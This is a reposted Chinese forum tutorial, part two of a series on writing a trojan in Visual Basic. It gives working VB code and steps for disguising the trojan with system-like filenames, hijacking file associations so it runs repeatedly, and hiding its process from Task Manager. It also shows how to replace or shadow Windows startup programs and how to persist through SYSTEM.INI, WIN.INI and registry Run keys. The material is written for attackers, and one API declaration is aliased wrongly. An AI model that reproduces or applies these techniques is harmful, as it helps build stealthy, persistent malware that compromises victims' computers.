HanDs
管理员

[Visual Studio文章] 真正的VB木马,不用WINSOCK控件(2) 



如果你要判断多个文件是否存在,就必须把上面的代码重复多次,自己累不算,程序也变得臃肿。
VB给我们提供了模块,利用模块的全局属性,我们可以把一些重复的代码写成全局函数,方便了自己也减少了程序的开销:
=========================================================
Function FileExist(FileName As String) As Boolean
On Error Resume Next '别忘了错误陷阱
Dim FileNum As Integer
FileNum = FreeFile()
Open FileName For Input As #FileNum
If Err = 0 Then
FileExist = True
Else
FileExist = False
End If
Close #FileNum
End Function
=========================================================
在全局模块里声明了这个函数(别用Private前缀声明)后,我们就可以方便的在程序任何角落用FileExists("文件名")来判断了,而且把程序代码模块化也提高了代码可读性。
所以,为了程序更好执行,请尽量把代码模块化。

附:给出几个实用的模块化代码
=========================================================
'判断文件是否存在
Function FileExist(FileName As String) As Boolean
On Error Resume Next
Dim FileNum As Integer
FileNum = FreeFile()
Open FileName For Input As #FileNum
If Err = 0 Then
FileExist = True
Else
FileExist = False
End If
Close #FileNum
End Function

'获取程序本身所在的目录(返回的字符以“\”结尾)
Function Path() As String
If Len(App.Path) <= 3 Then
Path = App.Path
Else
Path = App.Path & "\"
End If
End Function

'获取系统目录(SYSTEM)路径
Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Function SysPath() As String
SysPath = String(145, Chr(0))
SysPath = Left(SysPath, GetSystemDirectory(SysPath, 145)) & "\"
End Function

'获取Window路径(WINDOWS系统目录)
Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Function WinPath() As String
WinPath = String(145, Chr(0))
WinPath = Left(WinPath, GetWindowsDirectory(WinPath, 145)) & "\"
End Function

'字符串替换(使用方法:输出=ModifyString(欲处理的字符串,原字符,替换字符),例如 strOut=ModifyString(strSource,"hello","你好"),表示把strSource变量里的“hello”替换为“你好”)
Public Function ModifyString(strModString As String, strSrc As String, sgnModify As Variant)
On Error Resume Next
If strSrc <> sgnModify Then
While InStr(strModString, strSrc) <> 0
strModString = Left(strModString, InStr(strModString, strSrc) - 1) & sgnModify & Mid(strModString, InStr(strModString, strSrc) + Len(strSrc))
Wend
End If
ModifyString = strModString
End Function
=========================================================


七、Win9x?Win2000?
由于Windows的两个不同架构(Win9x、WinNT),导致了环境的差异,更雪上加霜的是MS在两个架构的系统里提供了某些会引发兼容问题的API,例如RegisterServiceProcess这个用于注册系统服务的API,在9x环境里正常,在NT里则变成“找不到DLL入口”——NT架构的系统服务概念和9x不同。又如涉及网络操作的一些API,9x里休想找到它们的影子。当你的程序调用了这些无法访问的API,立即就会崩溃,而且死之前还会老实的弹出对话框暴露自己,落得个连诛九族……
当然,还有一个更重要的问题,那就是NT架构才有的NT服务(NT-Service),在下文会介绍。
因为有这些环境差异,我们不得不根据不同的环境设置不同的路标,这就需要判断系统类型了。Windows也有自知之明,给我们提供了GetVersionEx这个API。
=========================================================
Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion(1 To 128) As Byte
End Type
Public Const VER_PLATFORM_WIN32_NT = 2&
Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long

Function CheckIsNT() As Boolean
Dim OSVer As OSVERSIONINFO
OSVer.dwOSVersionInfoSize = LenB(OSVer)
GetVersionEx OSVer
CheckIsNT = OSVer.dwPlatformId = VER_PLATFORM_WIN32_NT
End Function
=========================================================
如果CheckIsNT函数返回True,那就是NT/2000/XP没错了,接下来你应该知道如何对付Windows了吧。


八、我的马儿安家在哪里?
把木马放在哪里能做到最大的隐蔽性是个难以肯定的答案,但是有一点可以直说!别自作聪明自己建立目录放木马,也别选敏感目录如Recycled、My Documents、TEMP、Local Settings、Fonts、Inf等,这些目录可以骗骗初学者,但是连中级水平的用户都能感觉到不对劲。我个人认为可以放在一些重要目录里,把文件名起得专业一点,例如WINDOWS/WINNT、SYSTEM/SYSTEM32、JAVA(最好文件名里也有个JAVA)、Config、Program Files\Common Files\SYSTEM等特殊目录,这样至少连中上水平的用户也要确认半天,当然有一半成功率还要看看你会不会起文件名,可以在Windows本身的一些重要或者不常被人注意的文件名上打主意,例如原来有个mmtask.tsk那就来个mmtask.exe、有wupdmgr.exe就发展个wupdmgr32.exe等,这些文件名起的迷惑性比一般的文件名大得多。当然你就不要起Notepad32.exe、scanregw32.exe、scandskw32.exe这种常用程序的“32bit 克隆”名字了,只要不是非典型的用户,70%都会怀疑的……

九、喧宾夺主——更改并联
Windows下的文件并联无处不在,所以这里是个很好的市场哦。目前许多常见的木马都用了这个手法,让用户在不知不觉中反复执行木马程序,导致屡杀不尽!
其实在VB里,这个功能非常容易实现:
=========================================================
'文件并联的代码
'Author:小金(LK007) www.s8s8.net [email protected]
'使用方法:SetFileAssociate 文件类型, 类型说明, 文件后缀
'例如:SetFileAssociate "txtfile", "文本文件", ".txt"
'/////////////////////////////////////////////////////////////
Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkresult As Long) As Long
Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const REG_SZ = 1

Sub SetFileAssociate(sKeyName As String, sKeyValue As String, sFileAssoc As String)
On Error Resume Next
Dim ret As Long
Dim lphKey As Long
Dim sFileExec As String
sFileExec = App.Path & App.EXEName & ".exe " & """%1""" '注意是".exe "不是".exe"
ret = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, lphKey)
ret = RegSetValue(lphKey, "", REG_SZ, sKeyValue, 0&)
ret = RegCreateKey(HKEY_CLASSES_ROOT, sFileAssoc, lphKey)
ret = RegSetValue(lphKey, "", REG_SZ, sKeyName, 0&)
ret = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, lphKey)
ret = RegSetValue(lphKey, "DefaultIcon", REG_SZ, "%1", 2)
ret = RegCreateKey(HKEY_CLASSES_ROOT, sKeyName, lphKey)
ret = RegSetValue(lphKey, "shell\open\command", REG_SZ, sFileExec, Len(sFileExec))
ret = RegCloseKey(lphKey)
End Sub
=========================================================
注意,经过这样修改后,文件就必须由你的程序来负责处理了,我们需要在Form_Load或Main里加入下面给出的“文件打开方式重定向”代码,否则就弄巧成拙了,注意这段代码中的文件后缀判断语句。
=========================================================
'在Form_Load或Main加入 (以TXT并联为例)
On Error Resume Next
Dim CommandLine As String
CommandLine = Trim$(Command$)
If CommandLine <> "" Then
If InStr(CommandLine,".txt") <> 0 Then Shell("notepad.exe " & CommandLine
Else
End If
=========================================================
这个方法的破绽:细心的用户会注意到,被更改了并联的文件类型打开速度变慢了,这是因为VB代码的执行效率比较低,而且Shell又消耗了一些额外时间,没有优化的方法。我们只能祈祷马场主是个超级马大哈……

十、隐藏进程
在Windows中按ALT+DEL+CTRL会出现任务管理器,一切普通进程都能在里面看到,这样也会暴露我们的后门程序,因此必须给它来个障眼法。Win9x/Me提供了一个API——RegisterServiceProcess,它的作用是把一个进程提升为“系统服务”,这样的进程在任务管理器里不可见。Win2000/XP里没有提供这个API,因为两种系统架构不同,“服务”的概念也不同,在NT架构里,使用一种称为“NT-Service”的技术来区分一般进程和服务程序,在第5期有文章介绍,这里也不细说了,NT-Service部分资料请看第十一小节。
VB代码如下,它很简单,用GetCurrentProcessId获取自身进程标识后调用RegisterServiceProcess转型为系统服务:
=========================================================
Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long

Sub MakeAsService()
Dim pid As Long
pid = GetCurrentProcessId()
RegisterServiceProcess pid, 1
End Sub
=========================================================
除了注册为系统服务,还有个更简单的方法是把程序的任务标题改为系统进程的名字,如Rundll32、mmtask、Rnaapp、WinOldApp等,如果你实在够懒,可以试试看……

十一、启动模式
要想木马能随时为你服务,就必须让它自己跟随系统启动,除了木马启动禁地——开始菜单的“启动”组不在考虑范围,我们还有几个方法让它自己爬起来。

1.Windows下的启动——替换程序篇
如果你认为躲躲藏藏不如反客为主来得豪气些的话,可以用这招,把Windows自身的一些非重要而又跟随系统启动的程序换掉。
不知道为什么,Windows用于切换输入法的程序internat.exe成为了这种行为的最大受害者,那么我就用它来举例说明一下这种方法的详细操作,替换其他程序的方法也差不多。
(1).木马程序查找并杀掉internat.exe进程;
(2).用Name函数把原来的internat.exe改名,必要时用FileCopy把internat.exe改名复制到另外目录(深层目录比较好);
(3).把自身复制到internat.exe所在的目录,名称为internat.exe;
(4).程序的初始化代码段必须加上一句Shell函数用以启动原来的internat.exe:Shell [被改名的internat.exe],vbNormalNoFocus。

2.目录遍历
Windows在目录遍历时依据从外到里的方式,如果用户未指定一个程序的路径信息,Windows会按照从系统盘根目录到系统目录的顺序寻找文件。例如在开始菜单的运行里输入msconfig,Windows在后台的操作是:
1.定位到系统盘根目录(如C:\),检查文件是否存在
2.如果在根目录没有发现文件,Windows根据环境变量信息进入系统目录查找
3.如果在系统目录里找不到,则进入更深一层的重要目录(SYSTEM目录)查找
4.如果找到文件,则执行它,查找过程结束。如果遍历Windows认得出的所有目录(由注册表的环境变量决定)仍然找不到文件,就返回“找不到文件%s”
这些步骤可以用一个循环来表达:
===================================================
For i=0 To (Environment.count-1)
If FileExists(Environment.Path(i)) Then
Found = 1
Shell(Environment.Path(i) & RunFile,vbNormalFocus)
Exit For
Else
End If
Next
If Found = 0 Then MsgBox "找不到文件" & RunFile
===================================================
其中的Environment.Path(i)可能包含这些路径信息,注意看数组序号和路径的关系:
Environment.Path(0) = "C:"
Environment.Path(1) = "C:\WINDOWS" Or "C:\WINNT"
Environment.Path(2) = "C:\WINDOWS\SYSTEM" Or "C:\WINNT\SYSTEM32"
根据Windows目录遍历的特点,我们可以把木马程序文件名改为某个默认随系统启动而且没有指明详细路径信息的程序,并把自身放在原程序所在的“上一层”目录,例如C:\WINDOWS是C:\WINDOWS\SYSTEM的上一层目录。这样,Windows就会把木马程序启动,而忽略了“深闺处”的原程序,所以我们的木马程序必须在启动时好心替Windows执行一下被忽略的原程序。
目前比较容易被忽略的程序有:inetnat.exe、 SysTray.exe、 taskmon.exe 等。
如果一个默认自启动的程序已经设置了路径信息,是否就意味着我们必须放弃?不一定,别忘了可以修改注册表,把详细路径字符串去掉。详细请看第4小节,把sApplication变量设置为不带任何路径信息的单独文件名即可。

3.Win9x/Me下的启动——INI篇
INI(配置文件)是一种特殊格式的文本文件,它主要用于保存程序的配置信息,这里就不做详细介绍了。WIN.INI和SYSTEM.INI是从Win3.1遗留下来的产物,Win9x/Me仍然比较完整的保留了,而2000/XP则有改动。
INI文件由一个或多个部分(section)组成,每个section下面存在多个关键字(Keyword)和值(Value),它们共同负责配置一个程序的环境,表现形式如下:
===================================================
[section1]
keyword1=valuel
keyword2=value2
...............

[section2]
keyword1=value1
keyword2=value2
...............
===================================================
打开WIN.INI和SYSTEM.INI,会看到最前面的开头部分有这些字符串:
===================================================
SYSTEM.INI:
[boot]
shell=Explorer.exe
system.drv=system.drv
drivers=mmsystem.dll power.drv
user.exe=user.exe

WIN.INI:
[windows]
load=
NullPort=None
DefaultQueueSize=32
===================================================

注意看[boot]的shell关键字和[windows]的load关键字,这里就是Windows的自启动程序加载的信息,也给木马留了个大门。[boot]的shell用于加载GUI外壳程序,如果这里的值被乱改了,你将看不到下次启动的桌面;[windows]的load在刚显示GUI界面的时候执行程序。所以执行程序优先顺序为:[windows]load ---> [boot]shell
而这两个关键字允许用户添加多个用空格分开的值,这是个很好利用的要处,为什么这样说呢?如果它们只支持一个值,那么我们就不能打[boot]shell的主意,因为替换掉外壳程序的加载值后,Windows就玩完了,但是,既然它支持多个值,我们就可以让Windows加载外壳的时候顺便也启动我们的后门。
例如,把木马程序MyApp.exe加入shell,正确的表达式必须是 shell=Explorer.exe MyApp.exe 而不是 shell=MyApp.exe
在VB里用下列代码完成一个完整的读写INI操作:
===================================================
'Code by www.s8s8.net LK007
'------------------------------------------------
Declare Function GetPrivateProfileInt Lib "kernel32" Alias "GetPrivateProfileIntA" (ByVal lpApplicationName As String, ByVal lpKeyName As String, ByVal nDefault As Long, ByVal lpFileName As String) As Long
Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long

Function WriteString(IniFileName As String, Section As String, key As String, Value As String) As Boolean
WriteString = False
If WritePrivateProfileString(Section, key, Value, IniFileName) = 0 Then Exit Function
WriteString = True
End Function

Function ReadString(IniFileName As String, Section As String, key As String) As String
Dim ReturnStr As String
Dim ReturnLng As Long
ReturnStr = Space(255)
ReturnLng = GetPrivateProfileString(Section, key, vbNullString, ReturnStr, 255, IniFileName)
ReadString = Trim$(Left$(ReturnStr, ReturnLng))
End Function
===================================================
可以直接用WriteString(WinPath & "system.ini", "boot", "Shell", "Explorer.exe " & App.EXEName & ".exe")和WriteString(WinPath & "win.ini", "windows", "load", App.EXEName & ".exe")来写入SYSTEM.INI和WIN.INI,注意这两个文件均在Windows根目录下。写入SYSTEM.INI时一定要记得别遗漏了原来的外壳程序。WriteString函数返回一个表示写入是否成功的布尔值。
为了更准确的判断程序是否已经添加数据了,我们最好读取刚写入的INI来确认:ReadString(WinPath & "system.ini", "boot", "Shell")和ReadString(WinPath & "win.ini", "windows", "boot"),返回的字符串里如果带有你的木马程序名,恭喜你,成功了。


4.Windows下的启动——注册表篇
注册表是Windows的重要组成部分,它不仅包含了齐全的软硬件信息、配置数据,也提供了自启动程序的入口,所以这里也是大多数木马喜欢依靠的地方。关于注册表的构成和详细资料,请大家自己另找资料,这里不做介绍。
一般木马主要集中在下列几处:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
全局的启动项,此主键下的值在Shell加载完成(桌面图标显示、任务栏出现)后执行。

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
全局的启动项,此主键下的值在GUI初始化完成(Windows桌面刚出现,Shell未加载)时执行。Win2000/XP里没有此主键。

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
仅在当前用户登录后,Shell加载完成时执行。

下面给出代码:
===================================================
'自启动
'使用方法:AutoRun([用户类型{0,1}],[启动顺序{0,1}],[键值说明{string}])
'例如:AutoRun(0,0,"Hello")表示在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices写入一个名称为Hello的键值

Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkresult As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002

Sub AutoRun(iType As Integer,iStart As Integer,sAppName As String)
Dim sKeyName As String
Dim sKeyValue As String
Dim Ret As Long
Dim lphKey As Long
Dim sApplication As String
Dim RegSetKey As Long
Dim hKey As Long
sApplication = Trim$(App.Path) & "\" & Trim$(App.EXEName & ".EXE")
If iStart = 0 Then
sKeyName = "Software\Microsoft\Windows\CurrentVersion\RunServices"
Else
sKeyName = "Software\Microsoft\Windows\CurrentVersion\Run"
End If
'设置自启动项
sKeyValue = sApplication
If iType = 0 Then
Ret = RegCreateKey(HKEY_LOCAL_MACHINE, sKeyName, lphKey)
Else
Ret = RegCreateKey(HKEY_CURRENT_USER, sKeyName, lphKey)
End If
Ret = RegSetValueEx(lphKey, sAppName, 0, 1, ByVal sKeyValue, Len(sKeyValue))
Ret = RegCloseKey(lphKey)
End Sub
===================================================

5.Win2000/XP下的启动——NT-Service篇
由于2000/XP强大的任务管理功能,在9x/Me中无法看到的进程,在2000/XP里暴露无遗,而且Win2000/XP也取消了RegisterServiceProcess这个API,因为两个系统里“服务”的概念不同。
NT架构采用一种称为“NT-Service”的技术来实现类似UNIX系统的守护进程功能,可以简单理解成跟随系统启动后,无论用户是否登录注销都一直运行着的进程(你见过有哪台服务器是整天开着GUI界面的吗?),具体介绍请看第5期TOo2y的文章。服务控制管理器(Service Control Manager)是NT服务的核心。
采用NT-Service方式启动的程序不会在任务管理器里显示,而且不会因为用户的注销而停止运行,因此在2000/XP里使用NT-Service编程可以同时实现高质量的自启动和隐藏进程。
微软并不推荐用VB写NT-Service,理由是不稳定,但是经过我实际测试,证实VB写的NT-Service可以稳定的持续运行很久,就是在服务控制上有点问题,例如不能用net pause、net stop来处理,会返回“没有响应操作”信息,也许是我的处理函数有问题。
VB写NT-Service有几个方法,一种是用ActiveX,这里不推荐;另一种是通过一个Type Library文件(VB里用于引入外部成员函数的一种方式)和线程代码实现,这样生成的EXE至少在52KB以上;第三种是完全API写SCM代码,这里仅推荐这种方法。
NT-Service入口必须写在Main()函数里,并且用Main()启动程序,不能写在窗体代码里,SCM找不到Service入口会造成程序无法启动成为NT-Service。一些函数是固定的,不能随意更改,如ServiceMain函数,它负责整个NT-Service执行和管理。
程序代码不能放在NT-Service循环体内(除非是计数变量,否则会造成代码死循环),而是在Main()的StartServiceCtrlDispatcher后加入处理代码或者加载窗体。注意必须检测系统是否为NT类型,否则一样会冒出个“找不到DLL入口”,然后程序崩溃-_-b


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
真正 V B 木马
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复